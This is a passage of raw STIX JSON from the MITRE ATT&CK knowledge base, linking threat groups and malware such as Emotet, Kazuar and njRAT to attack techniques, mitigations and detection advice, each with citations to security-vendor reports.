"https://unit42.paloaltonetworks.com/emissary-panda-attacks-middle-east-government-sharepoint-servers/", "description": "Falcone, R. and Lancaster, T. (2019, May 28). Emissary Panda Attacks Middle East Government Sharepoint Servers. Retrieved July 9, 2019."}], "x_mitre_deprecated": false, "revoked": false, "description": "[Threat Group-3390](https://attack.mitre.org/groups/G0027) has obtained and used tools such as [Impacket](https://attack.mitre.org/software/S0357), [pwdump](https://attack.mitre.org/software/S0006), [Mimikatz](https://attack.mitre.org/software/S0002), [gsecdump](https://attack.mitre.org/software/S0008), [NBTscan](https://attack.mitre.org/software/S0590), and [Windows Credential Editor](https://attack.mitre.org/software/S0005).(Citation: Unit42 Emissary Panda May 2019)(Citation: Dell TG-3390)", "modified": "2022-04-11T14:10:31.857Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c", "target_ref": "attack-pattern--a2fdce72-04b2-409a-ac10-cc1695f4fce0", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--7b053a36-de7d-476b-bc06-6d712432d615", "type": "relationship", "created": "2021-03-08T18:27:58.647Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "PTSecurity Higaisa 2020", "url": "https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/covid-19-and-new-year-greetings-the-higaisa-group/", "description": "PT ESC Threat Intelligence. (2020, June 4). COVID-19 and New Year greetings: an investigation into the tools and methods used by the Higaisa group. Retrieved March 2, 2021."}], "modified": "2021-03-30T20:26:53.811Z", "description": "[Higaisa](https://attack.mitre.org/groups/G0126) has exploited CVE-2018-0798 for execution.(Citation: PTSecurity Higaisa 2020)", "relationship_type": "uses", "source_ref": "intrusion-set--54dfec3e-6464-4f74-9d69-b7c817b7e5a3", "target_ref": "attack-pattern--be2dcee9-a7a7-4e38-afd6-21b31ecc3d63", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--7b05bdd0-2241-4b2d-a5a0-0531edca6311", "type": "relationship", "created": "2021-08-26T18:49:41.734Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Accenture MUDCARP March 2019", "url": "https://www.accenture.com/us-en/blogs/cyber-defense/mudcarps-focus-on-submarine-technologies", "description": "Accenture iDefense Unit. (2019, March 5). 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(2020, June 18). COVID-19 and FMLA Campaigns used to install new IcedID banking malware. Retrieved July 14, 2020."}], "modified": "2020-07-15T19:18:56.457Z", "description": "[IcedID](https://attack.mitre.org/software/S0483) has been executed through Word documents with malicious embedded macros.(Citation: Juniper IcedID June 2020)", "relationship_type": "uses", "source_ref": "malware--5147ef15-1cae-4707-8ea1-bee8d98b7f1d", "target_ref": "attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--7b090d29-d49d-4967-9843-90636bfb039f", "type": "relationship", "created": "2021-03-04T22:41:33.423Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Microsoft Anti Spoofing", "url": "https://docs.microsoft.com/en-us/microsoft-365/security/office-365-security/anti-spoofing-protection?view=o365-worldwide", "description": "Microsoft. (2020, October 13). Anti-spoofing protection in EOP. Retrieved October 19, 2020."}, {"source_name": "ACSC Email Spoofing", "url": "https://www.cyber.gov.au/sites/default/files/2019-03/spoof_email_sender_policy_framework.pdf", "description": "Australian Cyber Security Centre. (2012, December). Mitigating Spoofed Emails Using Sender Policy Framework. Retrieved October 19, 2020."}], "modified": "2021-09-27T17:57:28.633Z", "description": "Use anti-spoofing and email authentication mechanisms to filter messages based on validity checks of the sender domain (using SPF) and integrity of messages (using DKIM). Enabling these mechanisms within an organization (through policies such as DMARC) may enable recipients (intra-org and cross domain) to perform similar message filtering and validation.(Citation: Microsoft Anti Spoofing)(Citation: ACSC Email Spoofing)", "relationship_type": "mitigates", "source_ref": "course-of-action--b5dbb4c5-b0b1-40b1-80b6-e9e84ab90067", "target_ref": "attack-pattern--a62a8db3-f23a-4d8f-afd6-9dbc77e7813b", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--7b0a1eb4-9797-41cd-b7a4-610cb9eb2c42", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Github Koadic", "description": "Magius, J., et al. (2017, July 19). Koadic. Retrieved June 18, 2018.", "url": "https://github.com/zerosum0x0/koadic"}], "modified": "2020-03-16T16:55:03.558Z", "description": "[Koadic](https://attack.mitre.org/software/S0250) can enable remote desktop on the victim's machine.(Citation: Github Koadic)", "relationship_type": "uses", "source_ref": "tool--c8655260-9f4b-44e3-85e1-6538a5f6e4f4", "target_ref": "attack-pattern--eb062747-2193-45de-8fa2-e62549c37ddf", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--7b0c5b20-7c34-4939-a790-97853919b5dc", "type": "relationship", "created": "2020-03-09T13:26:46.165Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://support.office.com/en-us/article/What-is-Protected-View-d6f09ac7-e6b9-4495-8e43-2bbcdbcb6653", "description": "Microsoft. (n.d.). What is Protected View?. Retrieved November 22, 2017.", "source_name": "Microsoft Protected View"}], "modified": "2021-07-26T22:51:20.598Z", "description": "Ensure all COM alerts and Protected View are enabled.(Citation: Microsoft Protected View)", "relationship_type": "mitigates", "source_ref": "course-of-action--b9f0c069-abbe-4a07-a245-2481219a1463", "target_ref": "attack-pattern--2f6b4ed7-fef1-44ba-bcb8-1b4beb610b64", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--7b143b11-1fe5-4dc1-9790-3cd05659adc4", "type": "relationship", "created": "2021-03-25T15:10:31.963Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Zscaler APT31 Covid-19 October 2020", "url": "https://www.zscaler.com/blogs/security-research/apt-31-leverages-covid-19-vaccine-theme-and-abuses-legitimate-online", "description": "Singh, S. and Antil, S. (2020, October 27). APT-31 Leverages COVID-19 Vaccine Theme and Abuses Legitimate Online Services. Retrieved March 24, 2021."}], "modified": "2021-03-25T15:10:31.963Z", "description": "[ZIRCONIUM](https://attack.mitre.org/groups/G0128) has used a tool to capture the username on a compromised host in order to register it with C2.(Citation: Zscaler APT31 Covid-19 October 2020)", "relationship_type": "uses", "source_ref": "intrusion-set--4283ae19-69c7-4347-a35e-b56f08eb660b", "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--7b17bab3-6c5a-4db2-969b-7724f71afc09", "type": "relationship", "created": "2020-09-24T14:20:39.241Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ESET Dukes October 2019", "url": "https://www.welivesecurity.com/wp-content/uploads/2019/10/ESET_Operation_Ghost_Dukes.pdf", "description": "Faou, M., Tartare, M., Dupuy, T. (2019, October). OPERATION GHOST. Retrieved September 23, 2020."}], "modified": "2020-10-09T16:08:00.231Z", "description": "[FatDuke](https://attack.mitre.org/software/S0512) can use base64 encoding, string stacking, and opaque predicates for obfuscation.(Citation: ESET Dukes October 2019)", "relationship_type": "uses", "source_ref": "malware--54a01db0-9fab-4d5f-8209-53cef8425f4a", "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--7b17c352-f0b7-453d-9f80-e40b262ab8c7", "type": "relationship", "created": "2020-08-03T19:28:18.157Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"description": "Pascual, C. (2018, November 27). AutoIt-Compiled Worm Affecting Removable Media Delivers Fileless Version of BLADABINDI/njRAT Backdoor. Retrieved June 4, 2019.", "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/autoit-compiled-worm-affecting-removable-media-delivers-fileless-version-of-bladabindi-njrat-backdoor/", "source_name": "Trend Micro njRAT 2018"}], "modified": "2020-08-03T19:28:18.157Z", "description": "[njRAT](https://attack.mitre.org/software/S0385) has used AutoIt to compile the payload and main script into a single executable after delivery.(Citation: Trend Micro njRAT 2018)", "relationship_type": "uses", "source_ref": "malware--d906e6f7-434c-44c0-b51a-ed50af8f7945", "target_ref": "attack-pattern--c726e0a2-a57a-4b7b-a973-d0f013246617", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--7b18b0b1-1116-4e42-90b5-ffa3059955a7", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://www.us-cert.gov/ncas/analysis-reports/AR18-221A", "description": "US-CERT. (2018, August 09). MAR-10135536-17 \u2013 North Korean Trojan: KEYMARBLE. Retrieved August 16, 2018.", "source_name": "US-CERT KEYMARBLE Aug 2018"}], "modified": "2019-09-09T19:15:45.671Z", "description": "(Citation: US-CERT KEYMARBLE Aug 2018)", "relationship_type": "uses", "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a", "target_ref": "malware--11e36d5b-6a92-4bf9-8eb7-85eb24f59e22", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--7b191418-e24b-4db1-98e1-a7ee56b271f6", "type": "relationship", "created": "2020-02-25T18:49:52.360Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2020-03-23T23:11:24.892Z", "description": "Ensure proper file permissions are set and harden system to prevent root privilege escalation opportunities.", "relationship_type": "mitigates", "source_ref": "course-of-action--987988f0-cf86-4680-a875-2f6456ab2448", "target_ref": "attack-pattern--4d2a5b3e-340d-4600-9123-309dd63c9bf8", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--7b1b450f-eda2-499e-8133-dbaddea8059f", "created": "2024-02-12T21:04:56.543Z", "revoked": false, "external_references": [{"source_name": "Ensilo Darkgate 2018", "description": "Adi Zeligson & Rotem Kerner. (2018, November 13). Enter The DarkGate - New Cryptocurrency Mining and Ransomware Campaign. Retrieved February 9, 2024.", "url": "https://www.fortinet.com/blog/threat-research/enter-the-darkgate-new-cryptocurrency-mining-and-ransomware-campaign"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-02-12T21:04:56.543Z", "description": "[DarkGate](https://attack.mitre.org/software/S1111) will spawn a thread on execution to capture all keyboard events and write them to a predefined log file.(Citation: Ensilo Darkgate 2018)", "relationship_type": "uses", "source_ref": "malware--6f6f67c9-556d-4459-95c2-78d272190e52", "target_ref": "attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--7b1e92ce-ca77-4401-a79b-774b5694b8c6", "type": "relationship", "created": "2022-03-30T14:26:51.850Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.850Z", "description": "Monitor newly executed processes for actions that could be taken to add a new user and subsequently hide it from login screens.", "source_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", "target_ref": "attack-pattern--8c4aef43-48d5-49aa-b2af-c0cd58d30c3d", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--7b2113c8-9b48-4f93-9090-3946a980c183", "created": "2019-05-24T17:57:36.651Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Cyber Forensicator Silence Jan 2019", "description": "Skulkin, O.. (2019, January 20). Silence: Dissecting Malicious CHM Files and Performing Forensic Analysis. Retrieved May 24, 2019.", "url": "https://cyberforensicator.com/2019/01/20/silence-dissecting-malicious-chm-files-and-performing-forensic-analysis/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-03-22T05:35:17.106Z", "description": "[Silence](https://attack.mitre.org/groups/G0091) has used environment variable string substitution for obfuscation.(Citation: Cyber Forensicator Silence Jan 2019)", "relationship_type": "uses", "source_ref": "intrusion-set--d13c8a7f-740b-4efa-a232-de7d6bb05321", "target_ref": "attack-pattern--d511a6f6-4a33-41d5-bc95-c343875d1377", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--7b214aec-caa6-4b28-9551-9e6d285b9f80", "type": "relationship", "created": "2022-03-30T14:26:51.869Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.869Z", "description": "Monitor for any attempts to enable scripts running on a system would be considered suspicious. If scripts are not commonly used on a system, but enabled, scripts running out of cycle from patching or other administrator functions are suspicious. Scripts should be captured from the file system when possible to determine their actions and intent. ", "source_ref": "x-mitre-data-component--9f387817-df83-432a-b56b-a8fb7f71eedd", "target_ref": "attack-pattern--f6fe9070-7a65-49ea-ae72-76292f42cebe", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--7b2329e5-eacf-4626-bc3c-43331bc09aef", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Unit 42 Kazuar May 2017", "description": "Levene, B, et al. (2017, May 03). Kazuar: Multiplatform Espionage Backdoor with API Access. Retrieved July 17, 2018.", "url": "https://researchcenter.paloaltonetworks.com/2017/05/unit42-kazuar-multiplatform-espionage-backdoor-api-access/"}], "modified": "2020-03-16T16:50:19.689Z", "description": "If running in a Windows environment, [Kazuar](https://attack.mitre.org/software/S0265) saves a DLL to disk that is injected into the explorer.exe process to execute the payload. [Kazuar](https://attack.mitre.org/software/S0265) can also be configured to inject and execute within specific processes.(Citation: Unit 42 Kazuar May 2017)", "relationship_type": "uses", "source_ref": "malware--536be338-e2ef-4a6b-afb6-8d5568b91eb2", "target_ref": "attack-pattern--f4599aa0-4f85-4a32-80ea-fc39dc965945", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--7b25dfb3-e1f5-4f75-94b3-a465e7f76cfb", "created": "2022-09-26T17:13:44.221Z", "revoked": false, "external_references": [{"source_name": "Bitdefender FunnyDream Campaign November 2020", "description": "Vrabie, V. (2020, November). Dissecting a Chinese APT Targeting South Eastern Asian Government Institutions. Retrieved September 19, 2022.", "url": "https://www.bitdefender.com/files/News/CaseStudies/study/379/Bitdefender-Whitepaper-Chinese-APT.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-09-26T17:13:44.221Z", "description": "The [FunnyDream](https://attack.mitre.org/software/S1044) Keyrecord component can capture keystrokes.(Citation: Bitdefender FunnyDream Campaign November 2020)", "relationship_type": "uses", "source_ref": "malware--be25c1c0-1590-4219-a3d5-6f31799d1d1b", "target_ref": "attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--7b275e8a-83fd-4f2b-8ec4-eb36dae007fd", "created": "2023-04-07T22:55:10.799Z", "revoked": false, "external_references": [{"source_name": "Malwarebytes AvosLocker Jul 2021", "description": "Hasherezade. (2021, July 23). AvosLocker enters the ransomware scene, asks for partners. Retrieved January 11, 2023.", "url": "https://www.malwarebytes.com/blog/threat-intelligence/2021/07/avoslocker-enters-the-ransomware-scene-asks-for-partners"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-04-07T22:55:10.799Z", "description": "[AvosLocker](https://attack.mitre.org/software/S1053) has used obfuscated API calls that are retrieved by their checksums.(Citation: Malwarebytes AvosLocker Jul 2021)", "relationship_type": "uses", "source_ref": "malware--0945a1a5-a79a-47c8-9079-10c16cdfcb5d", "target_ref": "attack-pattern--ea4c2f9c-9df1-477c-8c42-6da1118f2ac4", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--7b28dace-9c62-4226-9878-dee480f541d4", "created": "2023-09-27T17:23:55.563Z", "revoked": false, "external_references": [{"source_name": "MoustachedBouncer ESET August 2023", "description": "Faou, M. (2023, August 10). MoustachedBouncer: Espionage against foreign diplomats in Belarus. Retrieved September 25, 2023.", "url": "https://www.welivesecurity.com/en/eset-research/moustachedbouncer-espionage-against-foreign-diplomats-in-belarus/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-09-27T17:23:55.563Z", "description": "[SharpDisco](https://attack.mitre.org/software/S1089) can load a plugin to exfiltrate stolen files to SMB shares also used in C2.(Citation: MoustachedBouncer ESET August 2023)", "relationship_type": "uses", "source_ref": "malware--1fefb062-feda-484a-8f10-0cebf65e20e3", "target_ref": "attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--7b29c94f-1834-42ac-933c-ae6cd125e87a", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "F-Secure The Dukes", "description": "F-Secure Labs. (2015, September 17). The Dukes: 7 years of Russian cyberespionage. Retrieved December 10, 2015.", "url": "https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf"}], "modified": "2020-03-17T02:07:10.821Z", "description": "[PinchDuke](https://attack.mitre.org/software/S0048) gathers system configuration information.(Citation: F-Secure The Dukes)", "relationship_type": "uses", "source_ref": "malware--ae9d818d-95d0-41da-b045-9cabea1ca164", "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--7b2cc5e3-11c3-4620-a787-04f2273bcbb8", "created": "2023-03-26T20:53:44.378Z", "revoked": false, "external_references": [{"source_name": "CrowdStrike StellarParticle January 2022", "description": "CrowdStrike. (2022, January 27). Early Bird Catches the Wormhole: Observations from the StellarParticle Campaign. Retrieved February 7, 2022.", "url": "https://www.crowdstrike.com/blog/observations-from-the-stellarparticle-campaign/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-03-26T20:53:44.378Z", "description": "During the [SolarWinds Compromise](https://attack.mitre.org/campaigns/C0024), [APT29](https://attack.mitre.org/groups/G0016) used compromised service principals to make changes to the Office 365 environment.(Citation: CrowdStrike StellarParticle January 2022)", "relationship_type": "uses", "source_ref": "campaign--808d6b30-df4e-4341-8248-724da4bac650", "target_ref": "attack-pattern--f005e783-57d4-4837-88ad-dbe7faee1c51", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--7b2e912e-4561-4edc-87fe-11f9e259a5a9", "created": "2022-02-01T16:00:17.307Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Kaspersky ThreatNeedle Feb 2021", "description": "Vyacheslav Kopeytsev and Seongsu Park. (2021, February 25). Lazarus targets defense industry with ThreatNeedle. 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Retrieved December 4, 2015.", "source_name": "FireEye admin@338"}], "modified": "2019-09-04T19:48:17.669Z", "description": "(Citation: FireEye admin@338)", "relationship_type": "uses", "source_ref": "intrusion-set--16ade1aa-0ea1-4bb7-88cc-9079df2ae756", "target_ref": "malware--b42378e0-f147-496f-992a-26a49705395b", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--7b39173a-092f-4e79-ad19-3af1c780c06c", "type": "relationship", "created": "2020-03-16T15:31:05.883Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2020-03-16T15:31:05.883Z", "relationship_type": "subtechnique-of", "source_ref": "attack-pattern--c726e0a2-a57a-4b7b-a973-d0f013246617", "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--7b43c9ba-49bc-4966-a987-2f991d0f44a2", "created": "2022-06-06T18:45:10.950Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "ClearSky Siamesekitten August 2021", "description": "ClearSky Cyber Security . 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Retrieved June 6, 2022.", "url": "https://www.clearskysec.com/siamesekitten/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-10-14T18:24:27.906Z", "description": "[Milan](https://attack.mitre.org/software/S1015) has used an executable named `companycatalogue` to appear benign.(Citation: ClearSky Siamesekitten August 2021)", "relationship_type": "uses", "source_ref": "malware--aea6d6b8-d832-4c90-a1bb-f52c6684db6c", "target_ref": "attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--7b458295-8e67-4f1f-acde-3316ae2e061e", "type": "relationship", "created": "2019-03-26T17:48:52.143Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Symantec Emotet Jul 2018", "url": "https://www.symantec.com/blogs/threat-intelligence/evolution-emotet-trojan-distributor", "description": "Symantec. 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Retrieved March 25, 2019."}, {"description": "Lee, S.. (2019, April 24). Emotet Using WMI to Launch PowerShell Encoded Code. Retrieved May 24, 2019.", "url": "https://www.carbonblack.com/2019/04/24/cb-tau-threat-intelligence-notification-emotet-utilizing-wmi-to-launch-powershell-encoded-code/", "source_name": "Carbon Black Emotet Apr 2019"}], "modified": "2019-06-28T15:25:29.581Z", "description": "[Emotet](https://attack.mitre.org/software/S0367) has used Powershell to retrieve the malicious payload and download additional resources like [Mimikatz](https://attack.mitre.org/software/S0002). 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(2019, November). Operation ENDTRADE: TICK\u2019s Multi-Stage Backdoors for Attacking Industries and Stealing Classified Data. Retrieved June 9, 2020."}], "modified": "2020-06-24T01:27:32.388Z", "description": "[BBK](https://attack.mitre.org/software/S0470) has the ability to use [cmd](https://attack.mitre.org/software/S0106) to run a Portable Executable (PE) on the compromised host.(Citation: Trend Micro Tick November 2019)", "relationship_type": "uses", "source_ref": "malware--f0fc920e-57a3-4af5-89be-9ea594c8b1ea", "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--7b4af425-27a6-4330-85e2-d8d03911d923", "type": "relationship", "created": "2020-05-12T22:05:50.745Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "FOX-IT May 2016 Mofang", "url": "https://foxitsecurity.files.wordpress.com/2016/06/fox-it_mofang_threatreport_tlp-white.pdf", "description": "Yonathan Klijnsma. (2016, May 17). Mofang: A politically motivated information stealing adversary. Retrieved May 12, 2020."}], "modified": "2020-05-12T22:05:50.745Z", "description": "[Mofang](https://attack.mitre.org/groups/G0103) delivered spearphishing emails with malicious documents, PDFs, or Excel files attached.(Citation: FOX-IT May 2016 Mofang)", "relationship_type": "uses", "source_ref": "intrusion-set--88489675-d216-4884-a98f-49a89fcc1643", "target_ref": "attack-pattern--2e34237d-8574-43f6-aace-ae2915de8597", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--7b4b7094-25fc-4556-8706-191d1ca04610", "type": "relationship", "created": "2021-08-31T21:30:39.251Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "McAfee Cuba April 2021", "url": "https://www.mcafee.com/enterprise/en-us/assets/reports/rp-cuba-ransomware.pdf", "description": "Roccio, T., et al. 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Retrieved June 18, 2021."}], "modified": "2021-10-12T21:06:28.502Z", "description": "[Cuba](https://attack.mitre.org/software/S0625) can retrieve the ARP cache from the local system by using <code>GetIpNetTable</code>.(Citation: McAfee Cuba April 2021) ", "relationship_type": "uses", "source_ref": "malware--6cd07296-14aa-403d-9229-6343d03d4752", "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--7b4b8d0b-fbc3-469a-ab62-72c5c4c4653d", "type": "relationship", "created": "2020-05-05T19:37:33.740Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "QiAnXin APT-C-36 Feb2019", "url": "https://web.archive.org/web/20190625182633if_/https://ti.360.net/blog/articles/apt-c-36-continuous-attacks-targeting-colombian-government-institutions-and-corporations-en/", 